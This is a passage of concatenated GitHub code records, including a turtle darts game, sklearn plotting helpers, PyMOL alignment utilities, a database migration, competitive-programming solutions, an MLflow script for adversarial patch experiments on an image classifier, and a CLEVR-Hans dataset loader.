DART_POS.append(ycoor)\n\n    dart.goto(xcoor,ycoor)\n    dart.pendown()\n    dart.dot(10, 'purple')\n\ndef evaluateDartPosition():\n    \"\"\"function evaluates where the dart lands, and based on where\n    it lands returns to the user the amount of points gained\"\"\"\n\n    if ((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2) and ((x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2) and ((x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2):\n        tr.write(\"1000 Points!\\nDart has landed in all three circles\")\n    elif (((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2) and (\n                (x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2)):\n        tr.write(\"500 Points!\\nDart landed in two circles\")\n    elif (((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2) and ((x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2)):\n        tr.write(\"500 Points!\\nDart landed in two circles\")\n    elif (((x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2) and (\n                (x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2)):\n        tr.write(\"500 Points!\\nDart landed in two circles\")\n    elif ((x - blue_center[0]) ** 2 + (y - blue_center[1]) ** 2 < Radi ** 2):\n        tr.write(\"100 Points!\\nDart landed in one circle\")\n    elif ((x - red_center[0]) ** 2 + (y - red_center[1]) ** 2 < Radi ** 2):\n        tr.write(\"100 Points!\\nDart landed in one circle\")\n    elif ((x - green_center[0]) ** 2 + (y - green_center[1]) ** 2 < Radi ** 2):\n        tr.write(\"100 Points!\\nDart landed in one circle\")\n    else:\n        tr.write(\"0 Points, Sorry ... \\nDart landed outside all circles\")\n\n\n\nif __name__ == '__main__':\n   window = Screen()\n   tr = Turtle()\n   tr.hideturtle()\n\n   #create venn diagram\n   venn_diagram()\n\n   #generate dart\n   generate_dart()\n\n   #dart coordinates\n   x = DART_POS[0]\n   y = DART_POS[1]\n\n   #centers of each circle\n   red_center = [-90, 0]\n   blue_center = [90, 0]\n   green_center = [0, 150]\n\n   tr.penup()\n   tr.goto(0, -150)\n   tr.pendown()\n\n   #Evaluate the position of the dart to see how many points gained\n   evaluateDartPosition()\n\n\n\n   window.mainloop()","repo_name":"e-bushi/cs_one","sub_path":"venn_darts.py","file_name":"venn_darts.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3100542990","text":"# Courtesy of http://scikit-learn.org/stable/auto_examples/model_selection/plot_learning_curve.html\n\nfrom matplotlib.colors import ListedColormap\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import learning_curve, GridSearchCV\nfrom sklearn.metrics import confusion_matrix\nimport itertools\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n                        n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):\n    \"\"\"\n    Generate a simple plot of the test and training learning curve.\n\n    Parameters\n    ----------\n    estimator : object type that implements the \"fit\" and \"predict\" methods\n        An object of that type which is cloned for each validation.\n\n    title : string\n        Title for the chart.\n\n    X : array-like, shape (n_samples, n_features)\n        Training vector, where n_samples is the number of samples and\n        n_features is the number of features.\n\n    y : array-like, shape (n_samples) or (n_samples, n_features), optional\n        Target relative to X for classification or regression;\n        None for unsupervised learning.\n\n    ylim : tuple, shape (ymin, ymax), optional\n        Defines minimum and maximum yvalues plotted.\n\n    cv : int, cross-validation generator or an iterable, optional\n        Determines the cross-validation splitting strategy.\n        Possible inputs for cv are:\n          - None, to use the default 3-fold cross-validation,\n          - integer, to specify the number of folds.\n          - An object to be used as a cross-validation generator.\n          - An iterable yielding train/test splits.\n\n        For integer/None inputs, if ``y`` is binary or multiclass,\n        :class:`StratifiedKFold` used. If the estimator is not a classifier\n        or if ``y`` is neither binary nor multiclass, :class:`KFold` is used.\n\n        Refer :ref:`User Guide <cross_validation>` for the various\n        cross-validators that can be used here.\n\n    n_jobs : integer, optional\n        Number of jobs to run in parallel (default 1).\n    \"\"\"\n    plt.figure()\n    plt.title(title)\n    if ylim is not None:\n        plt.ylim(*ylim)\n    plt.xlabel(\"Training examples\")\n    plt.ylabel(\"Score\")\n    train_sizes, train_scores, test_scores = learning_curve(\n        estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n    train_scores_mean = np.mean(train_scores, axis=1)\n    train_scores_std = np.std(train_scores, axis=1)\n    test_scores_mean = np.mean(test_scores, axis=1)\n    test_scores_std = np.std(test_scores, axis=1)\n    plt.grid()\n\n    plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n                     train_scores_mean + train_scores_std, alpha=0.1,\n                     color=\"r\")\n    plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n                     test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n    plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n             label=\"Training score\")\n    plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n             label=\"Cross-validation score\")\n\n    plt.legend(loc=\"best\")\n    return plt\n\ndef plot_confusion_matrix(cm, classes,\n                          normalize=False,\n                          title='Confusion matrix',\n                          cmap=plt.cm.Blues):\n    \"\"\"\n    This function prints and plots the confusion matrix.\n    Normalization can be applied by setting `normalize=True`.\n    \"\"\"\n    if normalize:\n        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n        print(\"Normalized confusion matrix\")\n    else:\n        print('Confusion matrix, without normalization')\n\n    print(cm)\n\n    plt.imshow(cm, interpolation='nearest', cmap=cmap)\n    plt.title(title)\n    plt.colorbar()\n    tick_marks = np.arange(len(classes))\n    plt.xticks(tick_marks, classes, rotation=45)\n    plt.yticks(tick_marks, classes)\n\n    fmt = '.2f' if normalize else 'd'\n    thresh = cm.max() / 2.\n    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n        plt.text(j, i, format(cm[i, j], fmt),\n                 horizontalalignment=\"center\",\n                 color=\"white\" if cm[i, j] > thresh else \"black\")\n\n    plt.tight_layout()\n    plt.ylabel('True label')\n    plt.xlabel('Predicted label')\n    \nfrom scipy import interp\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.model_selection import StratifiedKFold\n\ndef rocauc_curve(clf, X, y, folds=5, verbose=0, title='Receiver operating characteristic example'):\n    tprs = []\n    aucs = []\n    mean_fpr = np.linspace(0, 1, 100)\n    cv = StratifiedKFold(n_splits=folds)\n\n    i = 0\n    for train, test in cv.split(X, y):\n        probas_ = clf.fit(X[train], y[train]).predict_proba(X[test])\n        # Compute ROC curve and area the curve\n        fpr, tpr, thresholds = roc_curve(y[test], probas_[:, 1])\n        tprs.append(interp(mean_fpr, fpr, tpr))\n        tprs[-1][0] = 0.0\n        roc_auc = auc(fpr, tpr)\n        aucs.append(roc_auc)\n        if verbose > 1:\n            plt.plot(fpr, tpr, lw=1, alpha=0.3,\n                     label='ROC fold %d (AUC = %0.2f)' % (i, roc_auc))\n        else:\n            plt.plot(fpr, tpr, lw=1, alpha=0.3)            \n\n        i += 1\n    plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n             label='Chance', alpha=.8)\n\n    mean_tpr = np.mean(tprs, axis=0)\n    mean_tpr[-1] = 1.0\n    mean_auc = auc(mean_fpr, mean_tpr)\n    std_auc = np.std(aucs)\n    if verbose > 0:\n        plt.plot(mean_fpr, mean_tpr, color='b',\n                 label=r'Mean ROC (AUC = %0.2f $\\pm$ %0.2f)' % (mean_auc, std_auc),\n                 lw=2, alpha=.8)\n    else:\n        plt.plot(mean_fpr, mean_tpr, color='b',\n                 lw=2, alpha=.8)        \n\n    std_tpr = np.std(tprs, axis=0)\n    tprs_upper = np.minimum(mean_tpr + std_tpr, 1)\n    tprs_lower = np.maximum(mean_tpr - std_tpr, 0)\n    plt.fill_between(mean_fpr, tprs_lower, tprs_upper, color='grey', alpha=.2,\n                     label=r'$\\pm$ 1 std. dev.')\n        \n    plt.xlim([-0.05, 1.05])\n    plt.ylim([-0.05, 1.05])\n    plt.xlabel('FPR')\n    plt.ylabel('TPR')\n    plt.title(title)\n    if verbose > 0:\n        plt.legend(loc=\"lower right\")\n    plt.show()","repo_name":"DeanPFZ/deep-audio-public","sub_path":"src/classification_plots.py","file_name":"classification_plots.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"74439397200","text":"from typing import List, NamedTuple, Optional\n\nfrom ...clustal import msa\nfrom ...control import viter\nfrom ...core.pymol import structure\nfrom ...core.pymol.structure import StructureSelection\nfrom ...clustal.Clustal import Clustal, get_clustal\nfrom ...support.msa import Msa\n\nMsaToStructureMap = List[Optional[int]]\n\ndef msa_to_structure_position_map(\n    sequence_name : str,    \n    full_msa : Msa,\n    structure_sequence : str,\n    clustal : Optional[Clustal] = None\n)  -> MsaToStructureMap:\n    clustal = clustal or get_clustal()\n    sequence = msa.clean_msa_blanks(full_msa[sequence_name])\n    result = clustal.run_msa_items(\n        [ (\"structure\", structure_sequence)\n        , (sequence_name, sequence)\n        ]\n    )\n\n    return list(msa.get_relative_positions(full_msa, result))\n\nSequenceToStructureMap = List[int]\n\ndef sequence_to_structure_position_map(\n    selection : StructureSelection\n) -> SequenceToStructureMap:\n    return list(sorted(structure.get_pdb_sequence_index(selection).keys()))\n\nclass MsaToPymolStructureMap(NamedTuple):\n    msa_to_structure : MsaToStructureMap\n    sequence_to_structure : SequenceToStructureMap\n\n    def get_pymol_structure_position(self, msa_position: int) -> Optional[int]:\n\n        for structure_pos in viter(self.msa_to_structure[msa_position]):\n            return self.sequence_to_structure[structure_pos] + 1\n\n        return None\n\ndef msa_to_pymol_structure_map(\n    structure_selection: StructureSelection,\n    sequence_name : str,    \n    full_msa : Msa,\n    clustal : Optional[Clustal] = None\n):\n    structure_sequence = structure.get_pdb_sequence(structure_selection)\n    msa_to_structure = msa_to_structure_position_map(\n        sequence_name,\n        full_msa,\n        structure_sequence,\n        clustal\n    )\n    sequence_to_structure = sequence_to_structure_position_map(\n        structure_selection\n    )\n\n    return MsaToPymolStructureMap(\n        msa_to_structure = msa_to_structure,\n        sequence_to_structure = sequence_to_structure\n    )\n\n","repo_name":"TUM-CBR/pymol-plugins","sub_path":"cbr/msa/visual/support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43024788694","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nAdd primary key to Dependency\n\nRevision ID: 5ff0c99c94\nRevises: 312040efcfe\nCreate Date: 2015-07-20 19:50:55.153532\n\"\"\"\n\nimport sqlalchemy as sa\n\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\nrevision = \"5ff0c99c94\"\ndown_revision = \"312040efcfe\"\n\n\ndef upgrade():\n    op.add_column(\n        \"release_dependencies\",\n        sa.Column(\n            \"id\",\n            postgresql.UUID(as_uuid=True),\n            server_default=sa.text(\"gen_random_uuid()\"),\n            nullable=False,\n        ),\n    )\n\n\ndef downgrade():\n    op.drop_column(\"release_dependencies\", \"id\")\n","repo_name":"pypi/warehouse","sub_path":"warehouse/migrations/versions/5ff0c99c94_add_primary_key_to_dependency.py","file_name":"5ff0c99c94_add_primary_key_to_dependency.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":3382,"dataset":"github-code","pt":"3"}
+{"seq_id":"23310330149","text":"# 1. 재귀 돌리면서 숫자를 붙인다.\n# 2. 숫자가 7자리가 되면\n# 3. set에다가 넣는다.\n\n\nT = int(input())\n\n\ndy = [-1,1,0,0]\ndx = [0,0,1,-1]\n# 특정 위치를 기점으로 상하좌우 문자를 붙여야하므로\n# 파라미터로 좌표값도 받아야한다.\n\ndef dfs(y,x,number):\n    if len(number) == 7:\n        result.add(number)\n        return\n    \n    for k in range(4):\n        ny = y + dy[k]\n        nx = x + dx[k]\n\n        # 갈 수 없는 위치면 continue\n        if nx < 0 or nx >= 4:\n            continue\n\n        if ny < 0 or ny >= 4:\n            continue\n\n        # 갈 수 있다면, 다음 위치로 이동\n        dfs(ny,nx, number + map_lst[ny][nx])\n\nfor tc in range(1,T+1):\n    # 서로 다른 수를 합친다 -> 문자열이 더 좋다\n    map_lst = [list(map(str,input().split())) for _ in range(4)]\n\n    # 7자리 수를 중복 제거하여 저장\n    result = set()\n    \n    # 시작 지점 == 모두 보아야한다.\n    for i in range(4):\n        for j in range(4):\n            dfs(i,j,map_lst[i][j])\n\n    print(f'#{tc} {len(result)}')","repo_name":"1234jienf/TIL","sub_path":"0922/problem/SWEA_2819_격자판.py","file_name":"SWEA_2819_격자판.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14567063586","text":"import time, re\nfrom typing import List, Tuple, Union, Optional\nfrom heapq import heappop, heappush, heapify, heappushpop, heapreplace\nfrom collections import defaultdict, deque, Counter\nfrom itertools import accumulate, permutations, combinations, product, compress, zip_longest, pairwise, groupby\nfrom math import perm, comb, gcd, lcm, inf, ceil, floor, factorial, dist, sqrt\nfrom functools import cache, lru_cache, reduce\nfrom sortedcontainers import SortedList, SortedSet, SortedDict\nfrom bisect import bisect_left, bisect_right, insort, insort_left, insort_right\n\n\nclass Solution:\n    def countPaths(self, n: int, roads: List[List[int]]) -> int:\n        g = defaultdict(list)\n        for u, v, w in roads:\n            g[u].append((v, w))\n            g[v].append((u, w))\n\n        # dijkstra 求 0 -> n - 1的最短路\n\n        dis = defaultdict(lambda: inf)\n        dis[0] = 0\n\n        dp = [0] * n\n        dp[0] = 1\n\n        mod = 10 ** 9 + 7\n        h = [(0, 0)]\n        while h:\n            c, x = heappop(h)\n            for y, w in g[x]:\n                nc = c + w\n                if nc < dis[y]:\n                    dis[y] = nc\n                    heappush(h, (nc, y))\n                    dp[y] = dp[x]\n                elif nc == dis[y]:\n                    dp[y] = (dp[y] + dp[x]) % mod\n\n        return dp[n - 1]\n\n\nif __name__ == '__main__':\n    s = Solution()\n    print(s.countPaths(n=7,\n                       roads=[[0, 6, 7], [0, 1, 2], [1, 2, 3], [1, 3, 3], [6, 3, 3], [3, 5, 1], [6, 5, 1], [2, 5, 1],\n                              [0, 4, 5], [4, 6, 2]]))\n    # print(s.countPaths(n=2, roads=[[1, 0, 10]]))\n","repo_name":"ccctw-ma/leetcode","sub_path":"src/Medium/DynamicTest/countPaths.py","file_name":"countPaths.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31785175141","text":"#Name: Abhishek Chaudhary\n#Email-id: abhishekchaudhary0220@gmail.com\n#THIS IS A PROGRAM TO CONVERT ANY NO OF BASE 10 T0 ANY BASE FROM 2 TO 36\nnum=int(input(\"Enter no in base 10 : \"))\nbase=int(input(\"Enter base in which to be converted not exceeding 36 : \"))\nif(base<=36 and base>1):\n\tstack=[]\n\twhile(num>=1):\n\t  tem=num%base\n\t  stack.append(tem)\n\t  num=num//base\n\tconverted=\"\"\n\tfor i in range(len(stack)):\n\t  tem=stack[i]\n\t  if(tem>9):\n\t  \ttem=chr(65+tem-10)\n\t  else:\n\t  \ttem=str(tem)\n\t  converted=tem+converted\n\tprint(converted)\nelse:\n\tprint(\"Can`t convert to base higher than 36 :(\")","repo_name":"Sachindrck/Data-Structures-and-Projects-in-python","sub_path":"Data stucture/decimal_to_any_base.py","file_name":"decimal_to_any_base.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"33867396548","text":"import tarfile\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\nimport tensorflow as tf\n\ntf.compat.v1.disable_eager_execution()\ntf.config.threading.set_intra_op_parallelism_threads(0)\ntf.config.threading.set_inter_op_parallelism_threads(0)\n\nimport click\nimport mlflow\nimport mlflow.tensorflow\nimport structlog\nfrom pathlib import Path\n\nfrom attacks import create_adversarial_patch_dataset\nfrom data import create_image_dataset\nfrom log import configure_stdlib_logger, configure_structlog_logger\n\n\nLOGGER = structlog.get_logger()\n\n\ndef evaluate_metrics(classifier, adv_ds):\n    result = classifier.model.evaluate(adv_ds)\n    adv_metrics = dict(zip(classifier.model.metrics_names, result))\n    LOGGER.info(\"adversarial dataset metrics\", **adv_metrics)\n    for metric_name, metric_value in adv_metrics.items():\n        mlflow.log_metric(key=metric_name, value=metric_value)\n\n\n@click.command()\n@click.option(\n    \"--data-dir\",\n    type=click.Path(\n        exists=True, file_okay=False, dir_okay=True, resolve_path=True, readable=True\n    ),\n    help=\"Root directory for ImageNet test sets.\",\n    default=\"/nfs/data/ImageNet-Kaggle-2017/images/ILSVRC/Data/CLS-LOC\",\n)\n@click.option(\n    \"--dataset-name\",\n    type=click.STRING,\n    default=\"val-sorted-5000\",\n    help=\"ImageNet test set name. Options include: \"\n    \"\\n val-sorted-1000  : 1000 image test set \"\n    \"\\n val-sorted-5000  : 5000 image test set \"\n    \"\\n val-sorted-10000 : 10000 image test set \"\n    \"\\n val-sorted       : 50000 image test set \",\n)\n@click.option(\n    \"--model\",\n    type=click.STRING,\n    help=\"Name of model to load from registry\",\n    default=\"keras-model-imagenet-resnet50/1\",\n)\n@click.option(\n    \"--batch-size\",\n    type=click.INT,\n    help=\"Batch size to use when training a single epoch\",\n    default=20,\n)\n@click.option(\n    \"--rotation-max\",\n    type=click.FLOAT,\n    help=\"The maximum rotation applied to random patches. \\\n            The value is expected to be in the range `[0, 180]` \",\n    default=22.5,\n)\n@click.option(\n    \"--scale-min\",\n    type=click.FLOAT,\n    help=\"The minimum scaling applied to random patches. \\\n            The value should be in the range `[0, 1]`, but less than `scale_max` \",\n    default=0.1,\n)\n@click.option(\n    \"--scale-max\",\n    type=click.FLOAT,\n    help=\"The maximum scaling applied to random patches. \\\n            The value should be in the range `[0, 1]`, but larger than `scale_min.` \",\n    default=1.0,\n)\n@click.option(\n    \"--scale-patch\",\n    type=click.FLOAT,\n    help=\"Fixed scaling applied to random patches. \\\n            If set to a negative value, random scaling is used instead. \",\n    default=0.4,\n)\n@click.option(\n    \"--learning-rate\",\n    type=click.FLOAT,\n    help=\"The learning rate of the patch attack optimization procedure. \",\n    default=5.0,\n)\n@click.option(\n    \"--max-iter\",\n    type=click.INT,\n    help=\" The number of patch optimization steps. \",\n    default=500,\n)\n@click.option(\n    \"--patch-target\",\n    type=click.INT,\n    help=\" The target class index of the generated patch. Negative numbers will generate randomized id labels.\",\n    default=-1,\n)\n@click.option(\n    \"--num-patch\",\n    type=click.INT,\n    help=\" The number of patches generated. Each adversarial image recieves one patch. \",\n    default=1,\n)\n@click.option(\n    \"--num-patch-gen-samples\",\n    type=click.INT,\n    help=\" The number of sample images used to generate each patch. \",\n    default=10,\n)\n@click.option(\n    \"--max-iter\",\n    type=click.INT,\n    help=\" The number of patch optimization steps. \",\n    default=500,\n)\n# @click.option(\n#    \"--patch-shape\",\n#    type=click.Tuple([int, int, int]),\n#    help = \" Shape of adversarial patch. Matches input if set to None.\",\n#    default=None,\n# )\ndef patch_attack(\n    data_dir,\n    dataset_name,\n    model,\n    batch_size,\n    rotation_max,\n    scale_min,\n    scale_max,\n    scale_patch,\n    learning_rate,\n    max_iter,\n    patch_target,\n    num_patch,\n    num_patch_gen_samples,\n    patch_shape=None,\n):\n    LOGGER.info(\n        \"Execute MLFlow entry point\",\n        entry_point=\"patch_attack\",\n        data_dir=data_dir,\n    )\n\n    with mlflow.start_run() as _:\n        testing_dir = Path(data_dir) / dataset_name\n\n        adv_data_dir = Path().cwd() / \"adv_testing\"\n        adv_data_dir.mkdir(parents=True, exist_ok=True)\n\n        adv_patch_dir = Path().cwd() / \"adv_patches\"\n        adv_patch_dir.mkdir(parents=True, exist_ok=True)\n\n        image_size = (224, 224)\n\n        classifier = create_adversarial_patch_dataset(\n            data_dir=testing_dir,\n            model=model,\n            adv_data_dir=adv_data_dir.resolve(),\n            adv_patch_dir=adv_patch_dir.resolve(),\n            batch_size=batch_size,\n            image_size=image_size,\n            patch_target=patch_target,\n            num_patch=num_patch,\n            num_patch_samples=num_patch_gen_samples,\n            scale_patch=scale_patch,\n            rotation_max=rotation_max,\n            scale_min=scale_min,\n            scale_max=scale_max,\n            learning_rate=learning_rate,\n            max_iter=max_iter,\n            patch_shape=patch_shape,\n        )\n\n        adv_ds = create_image_dataset(\n            data_dir=str(adv_data_dir.resolve()), subset=None, validation_split=None\n        )\n        evaluate_metrics(classifier=classifier, adv_ds=adv_ds)\n\n        # Save adversarial dataset.\n        adv_testing_tar = Path().cwd() / \"adv_testing.tar.gz\"\n\n        with tarfile.open(adv_testing_tar, \"w:gz\") as f:\n            f.add(str(adv_data_dir.resolve()), arcname=adv_data_dir.name)\n\n        mlflow.log_artifact(str(adv_testing_tar))\n\n        # Save patch set.\n        adv_patch_tar = Path().cwd() / \"adv_patch.tar.gz\"\n\n        with tarfile.open(adv_patch_tar, \"w:gz\") as f:\n            f.add(str(adv_patch_dir.resolve()), arcname=adv_patch_dir.name)\n\n        mlflow.log_artifact(str(adv_patch_tar))\n\n\nif __name__ == \"__main__\":\n    configure_stdlib_logger(\"INFO\", log_filepath=None)\n    configure_structlog_logger(\"console\")\n\n    patch_attack()\n","repo_name":"hhuangMITRE/dioptra","sub_path":"examples/patch-defended-pixel-threshold/src/patch.py","file_name":"patch.py","file_ext":"py","file_size_in_byte":6016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"75048611282","text":"#1754A\nfor _ in range(int(input())):\n    n=int(input())\n    l=input()\n    ans=0\n    for i in range(n):\n        if l[i]==\"Q\":ans+=1\n        else:ans-=1\n        if ans<0:ans=0\n    if ans>0:print(\"NO\")\n    else:print(\"YES\")","repo_name":"Anuvab-Chakraborty/My_DSA_Journey_PYTHON","sub_path":"CODEFORCES PROBLEMS IN PYTHON/1754A.py","file_name":"1754A.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"15048651593","text":"import os\nimport json\n\nimport torch\nimport torch.utils.data\nimport torchvision.transforms as transforms\nfrom torchvision.datasets.folder import pil_loader\nimport numpy as np\n\nfrom pycocotools import mask as coco_mask\n\nos.environ[\"MKL_NUM_THREADS\"] = \"6\"\nos.environ[\"NUMEXPR_NUM_THREADS\"] = \"6\"\nos.environ[\"OMP_NUM_THREADS\"] = \"6\"\ntorch.set_num_threads(6)\n\ndef get_loader(dataset, batch_size, num_workers=8, shuffle=True):\n    return torch.utils.data.DataLoader(\n        dataset,\n        shuffle=shuffle,\n        batch_size=batch_size,\n        pin_memory=True,\n        num_workers=num_workers,\n        drop_last=True,\n    )\n\n\nCLASSES = {\n    \"shape\": [\"sphere\", \"cube\", \"cylinder\"],\n    \"size\": [\"large\", \"small\"],\n    \"material\": [\"rubber\", \"metal\"],\n    \"color\": [\"cyan\", \"blue\", \"yellow\", \"purple\", \"red\", \"green\", \"gray\", \"brown\"],\n}\n\n\nclass CLEVR_HANS_EXPL(torch.utils.data.Dataset):\n    def __init__(self, base_path, split, lexi=False, conf_vers='conf_2'):\n        assert split in {\n            \"train\",\n            \"val\",\n            \"test\",\n        }\n        self.lexi = lexi\n        self.base_path = base_path\n        self.split = split\n        self.max_objects = 10\n        self.conf_vers = conf_vers\n\n        with open(self.scenes_path) as fd:\n            scenes = json.load(fd)[\"scenes\"]\n        self.img_ids, self.img_class_ids, self.scenes, self.fnames, self.gt_img_expls, self.gt_table_expls = \\\n            self.prepare_scenes(scenes)\n\n        self.transform = transforms.Compose(\n            [transforms.Resize((128, 128)),\n             transforms.ToTensor()]\n        )\n        # self.transform_img_expl = transforms.Compose(\n        #     [transforms.ToPILImage(mode='L'),\n        #      transforms.Resize((14, 14), interpolation=5),\n        #      transforms.ToTensor()]\n        # )\n\n        self.n_classes = len(np.unique(self.img_class_ids))\n        self.category_dict = CLASSES\n\n        # get ids of category ranges, i.e. shape has three categories from ids 0 to 2\n        self.category_ids = np.array([3, 6, 8, 10, 18])\n\n    def convert_coords(self, obj, scene_directions):\n        # convert the 3d coords based on camera position\n        # conversion from ns-vqa paper, normalization for slot attention\n        position = [np.dot(obj['3d_coords'], scene_directions['right']),\n                    np.dot(obj['3d_coords'], scene_directions['front']),\n                    obj['3d_coords'][2]]\n        coords = [(p +4.)/ 8. for p in position]\n        return coords\n\n    def object_to_fv(self, obj, scene_directions):\n        coords = self.convert_coords(obj, scene_directions)\n        one_hot = lambda key: [obj[key] == x for x in CLASSES[key]]\n        material = one_hot(\"material\")\n        color = one_hot(\"color\")\n        shape = one_hot(\"shape\")\n        size = one_hot(\"size\")\n        assert sum(material) == 1\n        assert sum(color) == 1\n        assert sum(shape) == 1\n        assert sum(size) == 1\n        # concatenate all the classes\n        return coords + shape + size + material + color\n\n    def prepare_scenes(self, scenes_json):\n        img_ids = []\n        scenes = []\n        gt_img_expls = []\n        img_class_ids = []\n        gt_table_expls = []\n        fnames = []\n        for scene in scenes_json:\n            fnames.append(os.path.join(self.images_folder, scene['image_filename']))\n            img_class_ids.append(scene['class_id'])\n            img_idx = scene[\"image_index\"]\n\n            objects = [self.object_to_fv(obj, scene['directions']) for obj in scene[\"objects\"]]\n            objects = torch.FloatTensor(objects).transpose(0, 1)\n\n            # get gt image explanation based on the classification rule of the class label\n            gt_img_expl_mask = self.get_img_expl_mask(scene)\n            gt_img_expls.append(gt_img_expl_mask)\n\n            num_objects = objects.size(1)\n            # pad with 0s\n            if num_objects < self.max_objects:\n                objects = torch.cat(\n                    [\n                        objects,\n                        torch.zeros(objects.size(0), self.max_objects - num_objects),\n                    ],\n                    dim=1,\n                )\n\n            # get gt table explanation based on the classification rule of the class label\n            gt_table_expl_mask = self.get_table_expl_mask(objects, scene['class_id'])\n            gt_table_expls.append(gt_table_expl_mask)\n\n            # fill in masks\n            mask = torch.zeros(self.max_objects)\n            mask[:num_objects] = 1\n\n            # concatenate obj indication to end of object list\n            objects = torch.cat((mask.unsqueeze(dim=0), objects), dim=0)\n\n            img_ids.append(img_idx)\n            scenes.append(objects.T)\n        return img_ids, img_class_ids, scenes, fnames, gt_img_expls, gt_table_expls\n\n    def get_img_expl_mask(self, scene):\n        class_id = scene['class_id']\n\n        mask = 0\n        if self.conf_vers == 'CLEVR-Hans3':\n            for obj in scene['objects']:\n                if class_id == 0:\n                    if (obj['shape'] == 'cube' and obj['size'] == 'large') or \\\n                            (obj['shape'] == 'cylinder' and obj['size'] == 'large'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 1:\n                    if (obj['shape'] == 'cube' and obj['size'] == 'small' and obj['material'] == 'metal') or \\\n                            (obj['shape'] == 'sphere' and obj['size'] == 'small'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 2:\n                    if (obj['shape'] == 'sphere' and obj['size'] == 'large' and obj['color'] == 'blue') or \\\n                            (obj['shape'] == 'sphere' and obj['size'] == 'small' and obj['color'] == 'yellow'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n        elif self.conf_vers == 'CLEVR-Hans7':\n            for obj in scene['objects']:\n                if class_id == 0:\n                    if (obj['shape'] == 'cube' and obj['size'] == 'large') or \\\n                            (obj['shape'] == 'cylinder' and obj['size'] == 'large'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 1:\n                    if (obj['shape'] == 'cube' and obj['size'] == 'small' and obj['material'] == 'metal') or \\\n                            (obj['shape'] == 'sphere' and obj['size'] == 'small'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                if class_id == 2:\n                    # get y coord of red and cyan objects\n                    objects = [self.object_to_fv(obj, scene['directions']) for obj in scene[\"objects\"]]\n                    y_red = [obj[1] for obj in objects if obj[14] == 1]\n                    y_cyan = [obj[1] for obj in objects if obj[10] == 1]\n                    obj_coords = self.convert_coords(obj, scene['directions'])\n                    if (obj['color'] == 'cyan' and sum(obj_coords[1] > y_red) >= 2) or \\\n                            (obj['color'] == 'red' and sum(obj_coords[1] < y_cyan) >= 1):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 3:\n                    if (obj['size'] == 'small'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 4:\n                    obj_coords = self.convert_coords(obj, scene['directions'])\n                    if (obj['shape'] == 'sphere' and obj_coords[0] < 0.5 or\n                            obj['shape'] == 'cylinder' and obj['material'] == 'metal' and obj_coords[0] > 0.5):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 4:\n                    obj_coords = self.convert_coords(obj, scene['directions'])\n                    if (obj['shape'] == 'cylinder' and obj['material'] == 'metal' and obj_coords[0] > 0.5):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n                elif class_id == 6:\n                    if (obj['shape'] == 'sphere' and obj['size'] == 'large' and 